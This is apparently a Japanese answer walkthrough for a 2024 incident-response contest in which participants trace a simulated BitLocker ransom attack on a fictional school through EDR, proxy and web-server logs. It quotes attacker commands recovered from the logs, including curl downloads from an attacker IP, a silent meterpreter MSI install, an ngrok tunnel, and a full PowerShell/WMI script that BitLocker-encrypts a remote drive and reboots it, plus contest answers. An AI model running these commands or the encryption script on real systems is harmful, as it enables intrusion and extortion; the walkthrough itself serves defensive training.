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⚫ ソリトンシステムズ
⚫ 荒木粧子
⚫ 尾曲晃忠
⚫ 木野田渉
⚫ 伊神和馬
⚫ 後藤公太
⚫ 西井雅人
⚫ 白鳥隆史
⚫ 近藤龍一
⚫ 朴淑喜

⚫ 日立製作所
⚫ 鬼頭哲郎

⚫ 日立システムズ
⚫ 関谷信吾

⚫ NTT西日本
⚫ 鴨下将成
⚫ 市川久哲

⚫ NTTセキュリティ・ジャパン
⚫ 大倉有喜
⚫ 戸祭隆行

⚫ NTTコミュニケーションズ
⚫ 二瓶雄貴
⚫ 遠藤行人
⚫ 阿部航太

⚫ 無所属
⚫ 天笠智哉



あらすじ

イーデン・カレッジは、学問、スポーツ、芸術など様々な分野において優
れた学生が集まる小中高一貫の国を代表する学校である。そのため、国を
代表する著名人の子息も多く在学している。

Henderson先生からIT管理者に、Fileサーバにアクセスすることができな
いと連絡があった。IT管理者が確認したところ、確かにアクセスできない
ことが確認された。Webコンソールでファイルサーバを確認したところ、
以下の画面が表示されていた。
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事件を解決せよ！

Bitlockerの有効化について、誰にも心当たりがない。

昨年に引き続き、敵国の諜報活動が活発化しているとの情報がある
。そのため、敵国スパイの諜報活動かもしれない。。

EDRログ、プロキシログ、Webサーバーのアクセスログを解析し、
イーデン・カレッジでどのような出来事が起きたか明らかにして欲
しい。
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今年のテーマ

BitLockerを利用するランサムアクター
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今年のテーマ
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https://www.kaspersky.co.jp/about/press-releases/vir28052024



イーデンカレッジのIT環境構成図
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競技で解析するログ
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■ 各エンドポイントのEDRログ

■ インターネットの接続点に設置したProxyのログ

■ Webサーバーのアクセスログ



解析するログ

EDRログ

⚫ Soliton InfoTrace Mark II のログ

⚫ Soliton Dataset で提供されているデータと同様のフォーマット

⚫ 記録されている情報

⚫ プロセスの起動・終了

⚫ ファイルの作成・削除

⚫ レジストリ操作

⚫ ネットワーク接続・切断

⚫ Windowsイベントログ情報

⚫ など
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解析するログ

Proxyログ

⚫ OSSのプロキシソフトウェア Squid のアクセスログ

⚫ 記録されている情報

⚫ クライアントIPアドレス

⚫ HTTP リクエストメソッド

⚫ HTTP アクセス先URL

⚫ HTTP レスポンスステータスコード

⚫ クライアントから送信（アップロード）されたデータ量の合計

⚫ クライアントへ送信（ダウンロード）したデータ量の合計

⚫ リファラ

⚫ User-Agent

⚫ など
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解析するログ

Webサーバーのアクセスログ

⚫ OSSのプロキシソフトウェア Apache Web Serverのアクセスログ

⚫ 記録されている情報

⚫ クライアントIPアドレス

⚫ HTTP リクエストメソッド

⚫ HTTP アクセス先URL

⚫ HTTP レスポンスステータスコード

⚫ 転送容量

⚫ User-Agent

⚫ など
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課題概要
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1

5. Credential Access

2

6.1. Lateral Movement

1
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1
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問題解説
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解説に使用するツール

■ テキストエディタ: Visual Studio Code
🞐 言語モードを「Log」にすることで、見やすくハイライトしてくれる
🞐 表示の「右端で折り返す」必要に応じて切り替えると見やすい
🞐 ターミナルを表示し、grepを使う

■ ログ検索コマンド: grep
🞐 LinuxやmacOSは標準的にインストール
🞐 Windowsの場合、WSLやCygwinをインストールして使うと良い

■ Webブラウザ: Google Chrome
🞐 関連情報をググるのに使用
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1.1. Impact

FILE02において、BitLockerが適用されシステムが停止した時刻を
調べたい。

FILE02において、Mark II Recorder が停止した時刻を答えよ。

-フォーマット: YYYY/MM/DD hh:mm:ss

-回答例:  2024/10/23 09:00:00
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1.1. Impact

File02で記録された最後のログを確認する
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tail FILE02.log



1.1. Impact

InfoTrace Mark IIのマニュアルからも、このログがEDRの停止であ
ることが分かる
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1.1. Impact

File02で記録された最後のログを確認する

A. 2024/10/01 17:32:59
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tail FILE02.log



1.2. Impact

問題1.1の時刻以前に攻撃者によってFILE02で再起動を実行するコマ
ンドおよび操作がされたと考えられる。

ログを解析したところ、FILE02のログには再起動を行ったとみられる
コマンドの記録が残っていなかった。

そのため、別の端末からFILE02を再起動した可能性を考えた。

FILE02が再起動された直前にFILE02に対してリモートログインを行
った端末のホスト名およびIPアドレスを答えよ

-フォーマット: ホスト名_IPアドレス (case insensitive)

-回答例：WS02_172.16.1.102
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1.2. Impact

File02へのリモートログインのログを確認し、ソースIPを確認する

ホスト名については構成図から確認可能

A. DC01_172.16.2.101
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cat FILE02.log | grep "subEvt=loginR"



1.3. Impact

問題1.2の端末からFILE02に対して実行した一連のコマンドのうち、
最後に実行したPowerShellの実行内容として推測できるものを答
えよ

-フォーマット: 実行コマンド列 (case insensitive)

-回答例：shutdown /r /m ¥¥FILE02
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1.3. Impact

DC01でのpowershell関連のログを調べる
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cat DC01.log  | grep -i powershell



1.3. Impact

rdpclip.exeからPowerShellのウインドウにコマンドを貼り付けた
ログが存在
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1.3. Impact

その直後にConsoleHost_history.txtへの書き込みも発生。

貼り付けたコマンドが実行されたと推測できる

MWS 2024 24



1.3. Impact

awkでクリップボードで貼り付けた内容を取り出す
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cat DC01.log  | grep -i powershell | grep "subEvt=copy" | awk -F 
'clipData="' '{print $2}'  | awk '{print substr($0, 1, 
length($0)-2)}'



1.3. Impact
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$strComputer = ""FILE02.eden-college.local""
(Get-WmiObject -ComputerName $strComputer -Query ""Select * from Win32_EncryptableVolume where (DriveLetter = 
`""$env:SystemDrive`"")"" -Namespace 'root¥CIMv2¥Security¥MicrosoftVolumeEncryption' -ErrorAction
Stop).GetConversionStatus().ConversionStatus
Get-WmiObject -ComputerName $strComputer -Class Win32_TPM -Namespace 'root¥CIMv2¥Security¥MicrosoftTPM' -ErrorAction Stop
$Win32_EncryptableVolume = Get-WmiObject -ComputerName $strComputer -Query ""Select * from Win32_EncryptableVolume where 
(DriveLetter = `""$env:SystemDrive`"")"" -Namespace 'root¥CIMv2¥Security¥MicrosoftVolumeEncryption' -ErrorAction Stop

$Win32_EncryptableVolume = Get-WmiObject -ComputerName $strComputer -Query ""Select * from Win32_EncryptableVolume where 
(DriveLetter = `""$env:SystemDrive`"")"" -Namespace 'root¥CIMv2¥Security¥MicrosoftVolumeEncryption' -ErrorAction Stop
$Win32_EncryptableVolume.ProtectKeyWithNumericalPassword().ReturnValue
$VolumeKeyProtectorID_Numeric = $Win32_EncryptableVolume.GetKeyProtectors(3).VolumeKeyProtectorID
$Win32_EncryptableVolume.GetKeyProtectorNumericalPassword($VolumeKeyProtectorID_Numeric)

$Win32_EncryptableVolume.Encrypt(0,0x00000001).ReturnValue
$Win32_EncryptableVolume.GetConversionStatus().ConversionStatus

$Win32_OperatingSystem = Get-WmiObject Win32_OperatingSystem -ComputerName $strComputer
$Win32_OperatingSystem.Reboot()

awkでクリップボードで貼り付けた内容を取り出す



1.3. Impact
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awkでクリップボードで貼り付けた内容を取り出す

A. $Win32_OperatingSystem.Reboot()



1.4. Impact

続いて、問題1.2の端末へどのように侵入されたかを調べた。

横展開に利用されたプロトコルおよびユーザー名を答えよ。

プロトコル名については、次の記号で答えよ

ア：WinRM、イ：RDP、ウ：SMB、エ：SSH、オ：DCOM

-フォーマット: プロトコルの記号_ユーザー名 (case insensitive)

-回答例: カ_user
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1.4. Impact

Rdpclip.exeでクリップボードが操作されていて、その接続元ホス
トが kali なので、RDPで接続してきてることが分かる。

ユーザー名もログ中に記載

A. イ_Viehmann
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2.1. Initial Access

問題1.2のマシンは内部ネットワークに属しており、外部から直接アク
セスすることはできない。そのため、内部のいずれかのマシンが侵害
され踏み台として利用された可能性が考えられる。

IT管理者に確認したところ、外部公開しているサーバーはWEB01のみ
であり、このサーバーではPHPおよびApache httpdが動作していると
のことだった。

システム管理者からApache httpdのログを受け取った。（配布zipファ
イルの `apache_logs`）

WEB01で動作しているPHPのバージョンを答えよ。

回答例: 8.3.12
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2.1. Initial Access

PHP関連のプロセスの起動ログを見る

A. 8.2.12
31MWS 2024

cat WEB01.log | grep php | grep "subEvt=start"



2.2. Initial Access

攻撃者がWEB01に侵入するために利用した脆弱性のCVE番号を答
えよ。

-回答例：CVE-2024-9014 (case insensitive)
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2.2. Initial Access

Apacheのログ

EDRログ
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MWS 2024 34https://www.cvedetails.com/vulnerability-list/vendor_id-74/product_id-128/version_id-1791723/PHP-PHP-8.2.12.html



2.2. Initial Access

CVE-2024-4577であたりをつけて、IoCを調べる
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https://www.stormshield.com/news/security-alert-php-cve-2024-4577-stormshields-product-response/



2.2. Initial Access

CVE-2024-4577であたりをつけて、PoCを調べる

MWS 2024 36https://github.com/K3ysTr0K3R/CVE-2024-4577-EXPLOIT/blob/main/CVE-2024-4577.py



2.2. Initial Access

IoCやPoCからCVE-2024-4577で侵入されたことが分かる

A. CVE-2024-4577
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2.2. Initial Access
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3.1. Discovery

問題2.2で特定された脆弱性を利用し、攻撃者がある情報収集用のツ
ールをダウンロードして実行していることが確認された。以下の選択
肢から、該当するツールを選べ。

- SharpHound

- Mimikatz

- PowerView

- Seatbelt

- CrackMapExec

- SharpSecDump

MWS 2024 39



3.1. Discovery

PHPへのexploitによって、親プロセスが php-cgi.exe となって、
cmd.exeでコマンドが実行される。

これによって実行されたコマンドを抽出する
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cat WEB01.log | grep php-cgi.exe | grep "subEvt=start"  | grep 
cmd.exe | awk -F 'cmd="' '{print $2}' | awk -F '" psID=' '{print 
$1}'



3.1. Discovery
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/s /c ""whoami""
/s /c ""hostname""
/s /c ""whoami""
/s /c ""systeminfo""
/s /c ""tasklist""
/s /c ""dir""
/s /c ""curl -o s1.exe http://13.112.37.182/s.exe""
/s /c ""dir""
/s /c ""s1.exe -c all""
/s /c ""dir""
/s /c ""dir""
/s /c ""copy 20241001170642_BloodHound.zip ..¥htdocs¥a.zip""
/s /c ""dir ..¥htdocs""
/s /c ""curl -o m.msi http://13.112.37.182/hs.msi""
/s /c ""dir""
/s /c ""msiexec /quiet /qn /i m.msi""



3.1. Discovery

s1.exeに関する起動ログを見る
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cat WEB01.log | grep s1.exe | grep "subEvt=start"



3.1. Discovery

sha256でVirusTotalを見る

A. SharpHound
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https://www.virustotal.com/gui/file/e3c4743814f21ca22ca7a2e53b129197fd79b2ee8b3adebd2e8

752608b09ebdf/detection



3.2. Discovery

問題3.1で使用されたツールにより収集された情報は、特定のファ
イルとして外部に持ち出されていることが確認された。そのファ
イル名を答えよ。

-回答例: filename.txt (case sensitive)
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3.2. Discovery

BloodHoundの実行結果をa.zipとしてコピーしている

Apacheのアクセスログを見ると、攻撃者のIPから a.zip をダウンロー
ドしている

A. a.zip
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/s /c ""copy 20241001170642_BloodHound.zip ..¥htdocs¥a.zip""



BloodHound (SharpHound)
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4. Lateral Movement

ログを確認したところ、Web01からWS01にも横展開をしていた
ことが分かった。WS01に横展開を行った際に利用したプロトコル
を答えよ。

- RDP

- SMB

- WinRM

- SSH

- DCOM
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4. Lateral Movement

WEB01からWS01への通信を調べる

ポート5985 (WinRM) への通信が存在
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cat WS01.log | grep "evt=net" | grep "srcIP=172.16.4.101"



4. Lateral Movement

WinRM関連のプロセスを調べる

curlで攻撃者のサーバーからファイルを取得している。

このcurlの親プロセスが wsmprovhost.exe             A. WinRM
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cat WS01.log  | grep –i wsmprovhost



5. Credential Access

ログを分析した結果、攻撃者はWS01に存在する次のパスのファイル
を参照していることが分かった。

`C:¥Users¥green¥Documents¥ViehmannCredential.rtsz`

このファイルについてIT管理者から入手した。（zipファイル中の
`ViehmannCredential.rtsz`）

このファイルを解析することで得られる認証情報のうち、ユーザ名と
パスワードを答えよ。

-フォーマット：ユーザ名_パスワード (case sensitive)

-回答例：Henderson_Elllllllleganunnnnnnnnnnyas!!!
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5. Credential Access

ヒント：WS01にインストールされているソフトウェアの一覧は以下である

Python Launcher                                                 

aws-cfn-bootstrap                                               

Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.29.30139     

Microsoft Visual C++ 2019 X64 Additional Runtime - 14.29.30139  

Royal TS V7                                                     

AWS Tools for Windows                                           

Mark II Updater                                                 

Mark II Recorder                                                

AWS PV Drivers                                                  

Amazon SSM Agent 
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5. Credential Access

拡張子でググると Royal TSのファイルと分かる
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5. Credential Access

ファイルの中身を見ると、ユーザー名および暗号化されたパスワ
ードや接続先のサーバーの記載を見ることができる。
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5. Credential Access

パスワードを復号する方法がないか調べる
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5. Credential Access

Decryptツールが存在

AES鍵が固定なため、

復号できてしまう
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5. Credential Access

実行結果

A. Viehmann_Anya_Smug213th!
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5. Credential Access

別解：適当なマシンにRoyal TSをインストールする
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端末内に保存されているクレデンシャル

MWS 2024 58https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules/post/windows/gather/credentials



6.1. Lateral Movement

問題5で取得したクレデンシャルを利用して、Impactが実行された
のではないかと推測できる。ログを分析した結果、攻撃者によっ
て持ち込まれたファイルが利用され、WEB01を踏み台として、内
部ネットワークにあるマシンへのトンネルが確立されたことが確
認できた。

その実行ファイル名および実行コマンドのオプションを答えよ。
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6.1. Lateral Movement

-フォーマット：`実行ファイル名_実行コマンドのオプション` 
(case sensitive)

-回答例：plink.exe を実行し、その引数が
Henderson@web01.eden-college.local -
pw_Elllllllleganunnnnnnnnnnyas!!! -P 22 -2 -4 -T -N -C -R 
12345:127.0.0.1:445であった場合

plink.exe_Henderson@web01.eden-college.local -
pw_Elllllllleganunnnnnnnnnnyas!!! -P 22 -2 -4 -T -N -C -R 
12345:127.0.0.1:445
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6.2. Lateral Movement

問題6.1で使われたツールまたはサービス名を答えよ。

-回答例: `Plink` (case insensitive)
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6.1. 6.2. Lateral Movement

問題3.1で見つけたIPアドレスから他のファイルを取得していない
か調べる

結果として、curlで2つのファイルをダウンロードしていることが
分かる
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cat WEB01.log  | grep 13.112.37.182

curl –o m.msi http://13.112.37.182/hs.msi
curl -o nn.exe http://13.112.37.182/n.exe



6.1. 6.2. Lateral Movement

nn.exeの起動を追う
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cat WEB01.log | grep nn.exe | grep "subEvt=start"



6.1. 6.2. Lateral Movement

ngrokが使われていることが分かり、引数からDC01のRDP用ポー
ト (3389) へのトンネルが張られていることも分かる。

参考：https://ngrok.com/docs/tcp/

答え

6.1. nn.exe_tcp 172.16.2.101:3389

6.2. ngrok (ngrok agentも可)
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https://ngrok.com/docs/tcp/


6.3. Lateral Movement

問題6.1が通信したインターネット上のIPアドレスをすべて答えよ
（172.16.0.0/20のプライベートIPは記述不要）

-フォーマット（記述形式）: IPアドレスをカンマ区切りで列挙

-回答例（記述形式）: 203.0.113.0,203.0.113.2
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6.3. Lateral Movement

nn.exeの通信先をawkで抽出する

A. 3.164.110.126, 52.196.202.158, 52.202.168.65
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cat WEB01.log | grep 'psPath=¥"C¥:¥¥Windows¥¥System32¥¥nn.exe¥"' 
| grep "evt=net subEvt=con" | awk -F 'dstIP=' '{print $2}'  | awk 
-F ' ' '{print $1}' | sort | uniq

172.16.2.101
3.164.110.126
52.196.202.158
52.202.168.65



ngrok

NATやFirewall配下のサービスに外部（インターネット）からアク
セスできるようにトンネリングするサービス

それ自体は正規のサービス・ツールだが、攻撃者にも悪用される

同様のサービスにCloudflare Tunnel
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https://ngrok.com/



攻撃者が使うtoken
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hs.msi (h.msi)ファイルについて

実体としては、meterpreterというC2ビーコンを起動するためのフ
ァイル

ダウンロード後に msiexecで起動している
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hs.msi (h.msi)ファイルについて

conhost.exeが起動する
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hs.msi (h.msi)ファイルについて

MSIFAFC.tmpが起動する
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hs.msi (h.msi)ファイルについて

このプロセスが13.112.37.182のポート443と通信をする

このIPアドレスはcurlのアクセス先と同じ
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7. Exfiltration

問題6.1で確立されたトンネルを利用したセッションを利用して、
FILE02からあるファイルが持ち出されている。

持ち出されたファイルのファイル名を答えよ。

-回答例: filename.txt (case sensitive)

MWS 2024 73



7. Exfiltration

DC01がfile02に対して行ったファイルイベントを調べる
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cat DC01.log | grep "evt=file" | grep -i file02



7. Exfiltration

tsclientのshareはRDPの接続元のフォルダーを示す。

ここにファイルをコピーすることで、ファイルを持ち出すことが
できる。

A. Teacher.zip
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8.1. Incident Response

Proxy.logから、攻撃者によって行われた通信で確認できるUser-
Agentをすべて答えよ。

- フォーマット（記述式）: 各User-Agentを1行ごとに記述
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8.1. Incident Response

Proxy.logに残っている攻撃者の通信はWS01から発生した次の2つ

⚫ curlでhs.msiを取得した時の通信
⚫ WS01.logのsn=19125

⚫ hs.msiから起動したmeterpreterの通信
⚫ WS01.logのsn=19134

どちらも通信先は 13.112.37.182
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8.1. Incident Response

13.112.37.18との通信で発生したUser-Agentを抽出する

A, 

curl/7.83.1

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 
Safari/537.36
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cat Proxy01.log | grep 13.112.37.182 | awk -F'"' '{print $6}' | 
sort | uniq



8.2. Incident Response

Proxyログには残っていないcurlコマンドを利用してダウンロードした
ファイルのファイル名を答えよ。オプションでファイル名を変えてい
た場合は、元のファイル名を答えること。

フォーマット（記述式）: 1行ごとにファイル名を記載

回答例: 

file1.txt  

file2.txt
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8.2. Incident Response

Proxyログに残らないWEB01からのcurlについて抽出する

A, 

s.exe

hs.msi

n.exe
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cat WEB01.log | grep curl.exe | grep "subEvt=start"



8.3. Incident Response

攻撃者が侵害に利用したアカウント名をすべて答えよ。

選択肢

1. Henderson

2. Swan

3. Evans

4. Donna

5. Green

6. Viehmann

-フォーマット: 当てはまる選択肢を数字が小さい順にカンマ (,) 区切りで並べる。
（スペースは含まない）

-回答例: 1,3,5
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8.3. Incident Response

攻撃者が利用したアカウントは次の2つ

⚫ Green

⚫ WEB01への侵入からWS01への横展開

⚫ Viehmann
⚫ DC01への横展開からFILE02の暗号化

A. 5,6
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8.4. Incident Response

次の選択肢から、攻撃者による行動で確認されたものをすべて答えよ。

1. バックドアの設置

2. ログの削除

3. 機密情報の持ち出し

4. 全端末への悪性タスク配布

5. キーロガーの設置

6. ランサムウェアによる端末の暗号化

7. クレデンシャルダンプ

-フォーマット: 当てはまる選択肢を数字が小さい順にカンマ (,) 区切りで並べる。
（スペースは含まない）

-回答例: `1,3,5`
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8.4. Incident Response

これまでの分析で分かっているもの

⚫ バックドアの設置
⚫ meterpreter

⚫ 機密ファイルの持ち出し
⚫ Teacher.zipの持ち出し

MWS 2024 84



8.4. Incident Response

NT Directory Servicesのファイル持ち出し
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8.4. Incident Response

NT Directory Servicesのファイル持ち出し
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8.4. Incident Response

1. バックドアの設置

2. ログの削除

3. 機密情報の持ち出し

4. 全端末への悪性タスク配布

5. キーロガーの設置

6. ランサムウェアによる端末の暗号化

7. クレデンシャルダンプ

A. 1,3,7
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8.5. Incident Response

次の選択肢から、攻撃者が横展開や持ち出しに利用したツール・サービスをすべて答えよ

1. Cobalt Strike

2. RemoteDesktopProtocol

3. WinRM

4. Powershell

5. PsExec

-フォーマット: 当てはまる選択肢を数字が小さい順にカンマ (,) 区切りで並べる。（スペース
は含まない）

-回答例: `1,3,5`
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6. WMI

7. SSH

8. SMB

9. FTP

10. TeamViewer



8.5. Incident Response

2. RemoteDesktopProtocol

→ DC01への横展開

3. WinRM

→ WS01への横展開

4. Powershell

→ DC01からFILE02の操作など

6. WMI

→ DC01からFILE02のbitlockerの操作など

8. SMB

→ DC01からのファイル持ち出しなど A. 2,3,4,6,8
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8.6. Incident Response

これまでの分析やその他ログの分析から、本環境において攻撃の
封じ込めおよび今後の攻撃を防ぐためにすべきことを箇条書きで
挙げよ。

（自由記述）
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8.6. Incident Response

解答例

■ 攻撃者のIPアドレスのブロック

■ WebサーバーのPHPをパッチ済みバージョンに更新

■ バックドア (meterpreter、ngrokなど)の除去

■ ユーザー・システムのパスワードの変更
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攻撃シナリオまとめ

Timestamp Tactics Event Host User

17:04:20 Initial 
Access

web01のXAMPPにExploit Web01 Green

17:04:40 Discovery 簡単な環境の調査

17:05:32 Discovery BloodHoundを持ち込んで実行

17:08:05 Discovery BloodHoundの結果を持ち出し

17:10:26 C2 meterpreterを持ち込んで実行

17:11:43 Lateral 
Movement

WinRMでWeb01からWS01に横展開

17:12:25 C2 meterpreterを持ち込んで実行 WS01

17:13:21 Discovery 簡単な環境の調査

17:15:00 Credential 
Access

Royal TSのクレデンシャルファイル (.rtsz)  を出力し持ち出
す
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攻撃シナリオまとめ

Timestamp Tactics Event Host User

17:19:05 C2 Ngrokを持ち込んでインターネットからWeb01を経由して
DC01にRDPできるようにする

Web01 Green

17:20:33 Lateral 
Movement

DC01にRDPで接続 DC01 Viehmann

17:21:37 Credential 
Access

ntdsutil.exeを用いたNTDSの取得

17:24:14 Exfiltration FILE02の機密ファイルのRDP経由での持ち出し

17:26:08 Impact FILE02をBitlockerで暗号化
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Thank you!!
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